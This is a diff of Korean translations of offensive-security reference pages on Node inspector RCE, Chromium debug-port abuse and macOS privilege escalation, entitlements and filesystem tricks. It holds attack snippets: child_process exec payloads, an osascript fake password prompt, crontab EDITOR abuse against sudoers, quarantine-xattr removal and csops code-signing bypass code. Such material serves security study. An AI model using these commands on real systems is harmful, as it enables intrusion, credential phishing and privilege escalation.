인스펙터 시작하기 @@ -48,7 +48,7 @@ kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` > [!NOTE] -> 이 방법은 컨테이너에서 유용합니다. 왜냐하면 **프로세스를 종료하고 새로운 프로세스를 시작하는 것**은 `--inspect`와 함께 **옵션이 아니기** 때문입니다. **컨테이너**는 프로세스와 함께 **종료**됩니다. +> 이 방법은 컨테이너에서 유용합니다. 왜냐하면 `--inspect`로 **프로세스를 종료하고 새로 시작하는 것**은 **옵션이 아니기** 때문입니다. **컨테이너**는 프로세스와 함께 **종료**됩니다. ### 검사기/디버거에 연결 @@ -78,9 +78,9 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe ## NodeJS 디버거/인스펙터에서의 RCE > [!NOTE] -> [**Electron에서 XSS로 RCE를 얻는 방법을 찾고 있다면 이 페이지를 확인하세요.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) +> [**Electron에서 XSS로 RCE를 얻는 방법을 찾고 있다면 이 페이지를 확인하세요.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html) -Node **인스펙터**에 **연결**할 수 있을 때 **RCE**를 얻는 일반적인 방법 중 일부는 다음과 같은 것을 사용하는 것입니다(이 **Chrome DevTools 프로토콜에 연결된 경우 작동하지 않을 것 같습니다**): +Node **인스펙터**에 **연결**할 수 있을 때 **RCE**를 얻는 일반적인 방법 중 일부는 다음과 같습니다(이 **Chrome DevTools 프로토콜에 연결할 때는 작동하지 않을 것 같습니다**): ```javascript process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") @@ -94,9 +94,9 @@ API를 여기에서 확인할 수 있습니다: [https://chromedevtools.github.i ### Deep Links를 통한 매개변수 주입 -[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)에서 Rhino 보안은 CEF 기반 애플리케이션이 시스템에 **사용자 정의 URI**(workspaces://)를 등록하여 전체 URI를 수신하고, 그 URI에서 부분적으로 구성된 설정으로 **CEF 기반 애플리케이션을 실행**한다는 것을 발견했습니다. +[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)에서 Rhino 보안은 CEF 기반 애플리케이션이 시스템에 **사용자 정의 URI**(workspaces://index.html)를 등록하여 전체 URI를 수신하고, 그 URI에서 부분적으로 구성된 설정으로 **CEF 기반 애플리케이션**을 실행한다는 것을 발견했습니다. -URI 매개변수가 URL 디코딩되어 CEF 기본 애플리케이션을 실행하는 데 사용되었으며, 사용자가 **명령줄**에 플래그 **`--gpu-launcher`**를 **주입**하고 임의의 작업을 실행할 수 있게 되었습니다. +URI 매개변수가 URL 디코딩되어 CEF 기본 애플리케이션을 실행하는 데 사용되었으며, 사용자가 **명령줄**에 **`--gpu-launcher`** 플래그를 **주입**하고 임의의 작업을 실행할 수 있게 되었습니다. 따라서, 다음과 같은 페이로드: ``` @@ -122,11 +122,11 @@ downloadPath: "/code/", ``` ### Webdriver RCE 및 유출 -이 게시물에 따르면: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE를 얻고 theriver의 내부 페이지를 유출하는 것이 가능합니다. +이 게시물에 따르면: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCE를 얻고 내부 페이지를 유출하는 것이 가능합니다. ### 사후 활용 -실제 환경에서 **사용자 PC를 타겟으로 한 후** Chrome/Chromium 기반 브라우저를 사용하는 경우, **디버깅이 활성화된 Chrome 프로세스를 실행하고 디버깅 포트를 포트 포워딩**하여 접근할 수 있습니다. 이렇게 하면 **피해자가 Chrome으로 수행하는 모든 작업을 검사하고 민감한 정보를 훔칠 수 있습니다**. +실제 환경에서 **사용자 PC를 타겟으로 한 후** Chrome/Chromium 기반 브라우저를 사용하는 경우, **디버깅이 활성화된 Chrome 프로세스를 실행하고 디버깅 포트를 포트 포워딩**하여 접근할 수 있습니다. 이렇게 하면 **희생자가 Chrome으로 수행하는 모든 작업을 검사하고 민감한 정보를 훔칠 수 있습니다**. 은밀한 방법은 **모든 Chrome 프로세스를 종료**한 다음 다음과 같은 것을 호출하는 것입니다. ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 93ce7cbcb..b7e8f272a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -24,13 +24,13 @@ macos-users.md macos-applefs.md {{#endref}} -- k**ernel**의 **구조** +- **커널**의 **구조** {{#ref}} mac-os-architecture/ {{#endref}} -- 일반적인 macOS n**etwork 서비스 및 프로토콜** +- 일반적인 macOS n**네트워크 서비스 및 프로토콜** {{#ref}} macos-protocols.md @@ -41,7 +41,7 @@ macos-protocols.md ### MacOS MDM -기업에서는 **macOS** 시스템이 **MDM으로 관리될 가능성이 높습니다**. 따라서 공격자의 관점에서 **그 작동 방식을 아는 것이 흥미롭습니다**: +기업에서 **macOS** 시스템은 **MDM으로 관리될 가능성이 높습니다**. 따라서 공격자의 관점에서 **그 작동 방식을 아는 것이 흥미롭습니다**: {{#ref}} ../macos-red-teaming/macos-mdm/ @@ -67,13 +67,13 @@ macos-security-protections/ 이는 다음과 같은 상황에서 발생할 수 있습니다: - 사용자가 이미 생성한 파일(사용자가 소유) -- 그룹 때문에 사용자가 쓸 수 있는 파일 +- 사용자가 그룹 때문에 쓸 수 있는 파일 - 사용자가 파일을 생성할 수 있는 사용자가 소유한 디렉토리 내의 파일 - 루트가 소유한 디렉토리 내의 파일이지만 사용자가 그룹 때문에 쓰기 권한이 있는 경우(사용자가 파일을 생성할 수 있음) -**루트에 의해 사용될 파일을 생성할 수 있는** 것은 사용자가 **그 내용의 이점을 취하거나** 심지어 **심볼릭 링크/하드 링크**를 만들어 다른 위치를 가리키게 할 수 있게 합니다. +**루트에 의해 사용될 파일을 생성할 수 있는** 능력은 사용자가 **그 내용의 이점을 취하거나 심볼릭 링크/하드 링크를 생성하여 다른 위치를 가리키게 할 수 있게 합니다**. -이러한 종류의 취약점에 대해서는 **취약한 `.pkg` 설치 프로그램을 확인하는 것을 잊지 마세요**: +이러한 종류의 취약점에 대해 **취약한 `.pkg` 설치 프로그램을 확인하는 것을 잊지 마세요**: {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md @@ -93,9 +93,9 @@ macOS에서 **애플리케이션과 바이너리는** 폴더나 설정에 접근 따라서 macOS 머신을 성공적으로 침해하고자 하는 공격자는 **TCC 권한을 상승시켜야 합니다**(또는 필요에 따라 **SIP를 우회해야 합니다**). -이러한 권한은 일반적으로 애플리케이션이 서명된 **권한**의 형태로 제공되거나, 애플리케이션이 일부 접근을 요청하고 **사용자가 이를 승인한 후** **TCC 데이터베이스**에서 찾을 수 있습니다. 프로세스가 이러한 권한을 얻는 또 다른 방법은 **그 권한을 가진 프로세스의 자식**이 되는 것입니다. 이 권한은 일반적으로 **상속됩니다**. +이러한 권한은 일반적으로 애플리케이션이 서명된 **권한**의 형태로 제공되거나, 애플리케이션이 일부 접근을 요청하고 **사용자가 이를 승인한 후** **TCC 데이터베이스**에서 찾을 수 있습니다. 프로세스가 이러한 권한을 얻는 또 다른 방법은 **그 권한을 가진 프로세스의 자식이 되는 것**입니다. 이 권한은 일반적으로 **상속됩니다**. -다양한 방법으로 [**TCC에서 권한을 상승시키는 방법**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC를 우회하는 방법**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 및 과거에 [**SIP가 우회된 방법**](macos-security-protections/macos-sip.md#sip-bypasses)을 찾으려면 이 링크를 따르세요. +다음 링크를 따라 [**TCC에서 권한 상승하는 다양한 방법**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC 우회하기**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) 및 과거에 [**SIP가 우회된 방법**](macos-security-protections/macos-sip.md#sip-bypasses)을 확인하세요. ## macOS 전통적인 권한 상승 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index 3bd2ad1d1..0cb448aaa 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -1,44 +1,44 @@ -# macOS 위험한 권한 및 TCC 권한 +# macOS Dangerous Entitlements & TCC perms {{#include ../../../banners/hacktricks-training.md}} > [!WARNING] > **`com.apple`**로 시작하는 권한은 제3자에게 제공되지 않으며, 오직 Apple만 부여할 수 있습니다. -## 높음 +## High ### `com.apple.rootless.install.heritable` -권한 **`com.apple.rootless.install.heritable`**는 **SIP를 우회**할 수 있게 해줍니다. [자세한 내용은 여기](macos-sip.md#com.apple.rootless.install.heritable)를 확인하세요. +권한 **`com.apple.rootless.install.heritable`**는 **SIP를 우회**할 수 있게 해줍니다. [자세한 정보는 여기](macos-sip.md#com.apple.rootless.install.heritable)를 확인하세요. ### **`com.apple.rootless.install`** -권한 **`com.apple.rootless.install`**은 **SIP를 우회**할 수 있게 해줍니다. [자세한 내용은 여기](macos-sip.md#com.apple.rootless.install)를 확인하세요. +권한 **`com.apple.rootless.install`**는 **SIP를 우회**할 수 있게 해줍니다. [자세한 정보는 여기](macos-sip.md#com.apple.rootless.install)를 확인하세요. ### **`com.apple.system-task-ports` (이전 이름: `task_for_pid-allow`)** -이 권한은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 가져올 수 있게 해줍니다. [**자세한 내용은 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/)를 확인하세요. +이 권한은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 가져올 수 있게 해줍니다. [**자세한 정보는 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)를 확인하세요. ### `com.apple.security.get-task-allow` -이 권한은 **`com.apple.security.cs.debugger`** 권한을 가진 다른 프로세스가 이 권한을 가진 바이너리에서 실행되는 프로세스의 작업 포트를 가져오고 **코드를 주입**할 수 있게 해줍니다. [**자세한 내용은 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/)를 확인하세요. +이 권한은 **`com.apple.security.cs.debugger`** 권한을 가진 다른 프로세스가 이 권한을 가진 바이너리에서 실행되는 프로세스의 작업 포트를 가져오고 **코드를 주입**할 수 있게 해줍니다. [**자세한 정보는 여기**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html)를 확인하세요. ### `com.apple.security.cs.debugger` -디버깅 도구 권한을 가진 앱은 `task_for_pid()`를 호출하여 서명되지 않은 제3자 앱의 유효한 작업 포트를 가져올 수 있습니다. 그러나 디버깅 도구 권한이 있더라도, 디버거는 **`Get Task Allow` 권한이 없는** 프로세스의 작업 포트를 **가져올 수 없습니다**, 따라서 시스템 무결성 보호에 의해 보호됩니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)를 확인하세요. +디버깅 도구 권한을 가진 앱은 `task_for_pid()`를 호출하여 서명되지 않은 제3자 앱의 유효한 작업 포트를 검색할 수 있습니다. 그러나 디버깅 도구 권한이 있어도, 디버거는 **`Get Task Allow` 권한이 없는** 프로세스의 작업 포트를 **가져올 수 없습니다**, 따라서 시스템 무결성 보호에 의해 보호됩니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)를 확인하세요. ### `com.apple.security.cs.disable-library-validation` -이 권한은 **Apple에 의해 서명되지 않거나** 메인 실행 파일과 동일한 팀 ID로 서명되지 않은 프레임워크, 플러그인 또는 라이브러리를 **로드**할 수 있게 해줍니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 주입할 수 있습니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)를 확인하세요. +이 권한은 **Apple에 의해 서명되지 않거나 메인 실행 파일과 동일한 팀 ID로 서명되지 않은 프레임워크, 플러그인 또는 라이브러리를 로드**할 수 있게 해줍니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 주입할 수 있습니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)를 확인하세요. ### `com.apple.private.security.clear-library-validation` -이 권한은 **`com.apple.security.cs.disable-library-validation`**와 매우 유사하지만, **직접적으로** 라이브러리 검증을 **비활성화하는 대신**, 프로세스가 **`csops` 시스템 호출을 호출하여 비활성화**할 수 있게 해줍니다.\ -[**자세한 내용은 여기**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)를 확인하세요. +이 권한은 **`com.apple.security.cs.disable-library-validation`**와 매우 유사하지만, **직접적으로** 라이브러리 검증을 **비활성화하는 대신**, 프로세스가 **`csops` 시스템 호출을 통해 이를 비활성화**할 수 있게 해줍니다.\ +[**자세한 정보는 여기**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)를 확인하세요. ### `com.apple.security.cs.allow-dyld-environment-variables` -이 권한은 **DYLD 환경 변수를 사용**할 수 있게 해주며, 이는 라이브러리와 코드를 주입하는 데 사용될 수 있습니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)를 확인하세요. +이 권한은 **DYLD 환경 변수를 사용**할 수 있게 해주며, 이는 라이브러리와 코드를 주입하는 데 사용될 수 있습니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)를 확인하세요. ### `com.apple.private.tcc.manager` 또는 `com.apple.rootless.storage`.`TCC` @@ -46,7 +46,7 @@ ### **`system.install.apple-software`** 및 **`system.install.apple-software.standar-user`** -이 권한은 사용자에게 **권한 요청 없이 소프트웨어를 설치**할 수 있게 해주며, 이는 **권한 상승**에 유용할 수 있습니다. +이 권한은 **사용자에게 권한 요청 없이 소프트웨어를 설치**할 수 있게 해주며, 이는 **권한 상승**에 유용할 수 있습니다. ### `com.apple.private.security.kext-management` @@ -54,11 +54,11 @@ ### **`com.apple.private.icloud-account-access`** -권한 **`com.apple.private.icloud-account-access`**는 **`com.apple.iCloudHelper`** XPC 서비스와 통신할 수 있게 해주며, 이는 **iCloud 토큰**을 **제공**합니다. +권한 **`com.apple.private.icloud-account-access`**를 통해 **`com.apple.iCloudHelper`** XPC 서비스와 통신할 수 있으며, 이는 **iCloud 토큰**을 **제공**합니다. **iMovie**와 **Garageband**는 이 권한을 가지고 있었습니다. -이 권한에서 **iCloud 토큰을 얻는** 취약점에 대한 더 많은 **정보**는 다음 강연을 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +이 권한으로부터 **iCloud 토큰을 얻는** exploit에 대한 더 많은 **정보**는 다음 강연을 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### `com.apple.private.tcc.manager.check-by-audit-token` @@ -91,13 +91,13 @@ TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Up ### **`kTCCServiceAppleEvents`** -앱이 **작업 자동화**에 일반적으로 사용되는 다른 애플리케이션에 이벤트를 보낼 수 있도록 허용합니다. 다른 앱을 제어함으로써, 이러한 다른 앱에 부여된 권한을 악용할 수 있습니다. +앱이 일반적으로 **작업 자동화**에 사용되는 다른 애플리케이션에 이벤트를 보낼 수 있도록 허용합니다. 다른 앱을 제어함으로써, 이러한 다른 앱에 부여된 권한을 악용할 수 있습니다. 예를 들어, 사용자에게 비밀번호를 요청하도록 만들 수 있습니다: ```bash osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' ``` -또한 **임의의 작업**을 수행할 수 있습니다. +Or making them perform **임의의 작업**. ### **`kTCCServiceEndpointSecurityClient`** @@ -105,11 +105,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti ### **`kTCCServiceSystemPolicySysAdminFiles`** -사용자의 홈 폴더 경로를 변경하는 **`NFSHomeDirectory`** 속성을 **변경**할 수 있으며, 따라서 TCC를 **우회**할 수 있습니다. +사용자의 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 하여 홈 폴더 경로를 변경하고 따라서 TCC를 **우회**할 수 있게 합니다. ### **`kTCCServiceSystemPolicyAppBundles`** -앱 번들(앱.app 내부) 내의 파일을 수정할 수 있으며, 이는 기본적으로 **허용되지 않습니다**. +앱 번들 내의 파일을 수정할 수 있게 하며(앱.app 내부), 이는 **기본적으로 금지되어** 있습니다.
@@ -123,21 +123,21 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti ### `com.apple.security.cs.allow-jit` -이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 가능하고 실행 가능한 메모리**를 **생성**할 수 있게 합니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)를 확인하세요. +이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 가능하고 실행 가능한 메모리**를 **생성**할 수 있게 합니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)를 확인하세요. ### `com.apple.security.cs.allow-unsigned-executable-memory` -이 권한은 **C 코드를 오버라이드하거나 패치**할 수 있게 하며, 오래 전에 사용 중단된 **`NSCreateObjectFileImageFromMemory`**(근본적으로 안전하지 않음)를 사용하거나 **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)를 확인하세요. +이 권한은 **C 코드를 오버라이드하거나 패치**할 수 있게 하며, 오래된 **`NSCreateObjectFileImageFromMemory`** (근본적으로 안전하지 않음)를 사용하거나 **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)를 확인하세요. > [!CAUTION] -> 이 권한을 포함하면 메모리 안전하지 않은 코드 언어에서 일반적인 취약점에 앱이 노출됩니다. 앱이 이 예외가 필요한지 신중하게 고려하세요. +> 이 권한을 포함하면 메모리 안전하지 않은 코드 언어에서 일반적인 취약점에 노출됩니다. 귀하의 앱이 이 예외가 필요한지 신중하게 고려하세요. ### `com.apple.security.cs.disable-executable-page-protection` -이 권한은 **디스크의 실행 파일 섹션을 수정**하여 강제로 종료할 수 있게 합니다. [**자세한 내용은 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)를 확인하세요. +이 권한은 **디스크에 있는 자신의 실행 파일의 섹션을 수정**하여 강제로 종료할 수 있게 합니다. [**자세한 정보는 여기**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)를 확인하세요. > [!CAUTION] -> Disable Executable Memory Protection Entitlement는 앱에서 기본 보안 보호를 제거하는 극단적인 권한으로, 공격자가 탐지 없이 앱의 실행 코드를 재작성할 수 있게 합니다. 가능하다면 더 좁은 권한을 선호하세요. +> Disable Executable Memory Protection Entitlement는 귀하의 앱에서 기본 보안 보호를 제거하는 극단적인 권한으로, 공격자가 귀하의 앱의 실행 코드를 탐지 없이 재작성할 수 있게 합니다. 가능하다면 더 좁은 권한을 선호하세요. ### `com.apple.security.cs.allow-relative-library-loads` @@ -156,8 +156,10 @@ TODO [Array] [String] kTCCServiceAll ``` -프로세스가 **모든 TCC 권한을 요청하도록 허용합니다**. +프로세스가 **모든 TCC 권한을 요청하도록 허용**합니다. ### **`kTCCServicePostEvent`** {{#include ../../../banners/hacktricks-training.md}} + + diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 355d1d393..1046ded0a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -14,31 +14,31 @@ ### 위험한 조합 -**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 하지만: +**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 그러나: -- 경로의 부모 **디렉토리 소유자**가 사용자입니다. -- 경로의 부모 **디렉토리 소유자**가 **쓰기 권한**이 있는 **사용자 그룹**입니다. +- 경로의 한 부모 **디렉토리 소유자**가 사용자입니다. +- 경로의 한 부모 **디렉토리 소유자**가 **쓰기 권한**이 있는 **사용자 그룹**입니다. - 사용자 **그룹**이 **파일**에 **쓰기** 권한을 가지고 있습니다. 이전 조합 중 하나로 공격자는 **특권 임의 쓰기**를 얻기 위해 예상 경로에 **심볼릭/하드 링크**를 **주입**할 수 있습니다. ### 폴더 루트 R+X 특별 사례 -**루트만 R+X 접근 권한**을 가진 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다. +**루트만 R+X 접근 권한**이 있는 **디렉토리**에 파일이 있는 경우, 그 파일은 **다른 누구도 접근할 수 없습니다**. 따라서 **제한**으로 인해 사용자가 읽을 수 없는 **읽기 가능한 파일**을 이 폴더에서 **다른 폴더로 이동**할 수 있는 취약점이 있다면, 이를 악용하여 이러한 파일을 읽을 수 있습니다. 예시: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) ## 심볼릭 링크 / 하드 링크 -### 관대한 파일/폴더 +### 허용된 파일/폴더 -특권 프로세스가 **하위 특권 사용자**에 의해 **제어**될 수 있는 **파일**에 데이터를 쓰고 있거나, 하위 특권 사용자에 의해 **이전에 생성된** 경우, 사용자는 심볼릭 또는 하드 링크를 통해 **다른 파일**을 가리킬 수 있으며, 특권 프로세스는 해당 파일에 쓰게 됩니다. +특권 프로세스가 **하위 권한 사용자**가 **제어할 수 있는** **파일**에 데이터를 쓰고 있거나, 하위 권한 사용자가 **이전에 생성한** 파일에 데이터를 쓰고 있는 경우, 사용자는 심볼릭 또는 하드 링크를 통해 **다른 파일**을 가리킬 수 있으며, 특권 프로세스는 해당 파일에 쓸 것입니다. 공격자가 **임의 쓰기를 악용하여 권한을 상승**시킬 수 있는 다른 섹션을 확인하십시오. ### Open `O_NOFOLLOW` -`open` 함수에서 사용되는 플래그 `O_NOFOLLOW`는 마지막 경로 구성 요소에서 심볼릭 링크를 따르지 않지만, 나머지 경로는 따릅니다. 경로에서 심볼릭 링크를 따르지 않도록 방지하는 올바른 방법은 `O_NOFOLLOW_ANY` 플래그를 사용하는 것입니다. +`open` 함수에서 사용되는 플래그 `O_NOFOLLOW`는 마지막 경로 구성 요소에서 심볼릭 링크를 따르지 않지만, 나머지 경로는 따릅니다. 경로에서 심볼릭 링크를 따르지 않도록 하는 올바른 방법은 `O_NOFOLLOW_ANY` 플래그를 사용하는 것입니다. ## .fileloc @@ -60,7 +60,7 @@ ### FD 누수 (no `O_CLOEXEC`) -`open` 호출에 `O_CLOEXEC` 플래그가 없으면 파일 설명자가 자식 프로세스에 의해 상속됩니다. 따라서, 권한이 있는 프로세스가 권한이 있는 파일을 열고 공격자가 제어하는 프로세스를 실행하면, 공격자는 **권한이 있는 파일에 대한 FD를 상속받게 됩니다**. +`open` 호출에 `O_CLOEXEC` 플래그가 없으면 파일 설명자가 자식 프로세스에 의해 상속됩니다. 따라서, 특권 프로세스가 특권 파일을 열고 공격자가 제어하는 프로세스를 실행하면, 공격자는 **특권 파일에 대한 FD를 상속받게 됩니다**. **높은 권한으로 파일이나 폴더를 열도록 프로세스를 만들 수 있다면**, **`crontab`**를 악용하여 **`EDITOR=exploit.py`**로 `/etc/sudoers.d`의 파일을 열 수 있습니다. 그러면 `exploit.py`는 `/etc/sudoers` 내부의 파일에 대한 FD를 얻고 이를 악용할 수 있습니다. @@ -74,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app ``` ### uchg / uchange / uimmutable 플래그 -파일/폴더에 이 불변 속성이 있으면 xattr를 설정할 수 없습니다. +파일/폴더에 이 불변 속성이 설정되어 있으면 xattr를 추가할 수 없습니다. ```bash echo asd > /tmp/asd chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd" @@ -86,7 +86,7 @@ ls -lO /tmp/asd ``` ### defvfs mount -**devfs** 마운트는 **xattr**를 지원하지 않습니다. 자세한 내용은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)를 참조하세요. +A **devfs** mount **는 xattr를 지원하지 않습니다**, 자세한 내용은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)에서 확인하세요. ```bash mkdir /tmp/mnt mount_devfs -o noowners none "/tmp/mnt" @@ -122,7 +122,7 @@ ls -le /tmp/test **AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다. -[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 zip 파일로 애플리케이션을 압축했다면... 애플리케이션에 격리 xattr가 설정되지 않았습니다: +[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식의 zip 파일로 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다: 자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)를 확인하세요. @@ -144,9 +144,9 @@ ditto -c -k del test.zip ditto -x -k --rsrc test.zip . ls -le test ``` -(작동하더라도 샌드박스는 먼저 격리 xattr를 작성합니다) +(Note that even if this works the sandbox write the quarantine xattr before) -정확히 필요하지는 않지만 혹시 모르니 남겨둡니다: +Not really needed but I leave it there just in case: {{#ref}} macos-xattr-acls-extra-stuff.md @@ -156,11 +156,11 @@ macos-xattr-acls-extra-stuff.md ### 플랫폼 바이너리 검사 우회 -일부 보안 검사는 바이너리가 **플랫폼 바이너리**인지 확인하여 XPC 서비스에 연결할 수 있도록 합니다. 그러나 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/에서 노출된 것처럼, 플랫폼 바이너리(예: /bin/ls)를 가져와 dyld를 통해 환경 변수 `DYLD_INSERT_LIBRARIES`를 사용하여 익스플로잇을 주입함으로써 이 검사를 우회할 수 있습니다. +일부 보안 검사는 바이너리가 **플랫폼 바이너리**인지 확인하여 XPC 서비스에 연결할 수 있도록 허용합니다. 그러나 https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/에서 노출된 바와 같이, /bin/ls와 같은 플랫폼 바이너리를 가져와서 `DYLD_INSERT_LIBRARIES` 환경 변수를 사용하여 dyld를 통해 익스플로잇을 주입함으로써 이 검사를 우회할 수 있습니다. ### 플래그 `CS_REQUIRE_LV` 및 `CS_FORCED_LV` 우회 -실행 중인 바이너리가 자신의 플래그를 수정하여 다음과 같은 코드로 검사를 우회할 수 있습니다: +실행 중인 바이너리가 자신의 플래그를 수정하여 코드를 사용하여 검사를 우회할 수 있습니다: ```c // Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ int pid = getpid(); @@ -173,11 +173,11 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status); ``` -## 코드 서명 우회 +## Bypass Code Signatures -번들에는 **`_CodeSignature/CodeResources`** 파일이 포함되어 있으며, 이 파일에는 **번들** 내의 모든 **파일**의 **해시**가 포함되어 있습니다. CodeResources의 해시는 **실행 파일**에도 **내장**되어 있으므로, 그것을 건드릴 수 없습니다. +Bundles contains the file **`_CodeSignature/CodeResources`** which contains the **hash** of every single **file** in the **bundle**. Note that the hash of CodeResources is also **embedded in the executable**, so we can't mess with that, either. -그러나 서명이 확인되지 않는 일부 파일이 있으며, 이 파일들은 plist에서 omit 키를 가지고 있습니다. +그러나 서명이 확인되지 않는 파일이 몇 개 있으며, 이 파일들은 plist에서 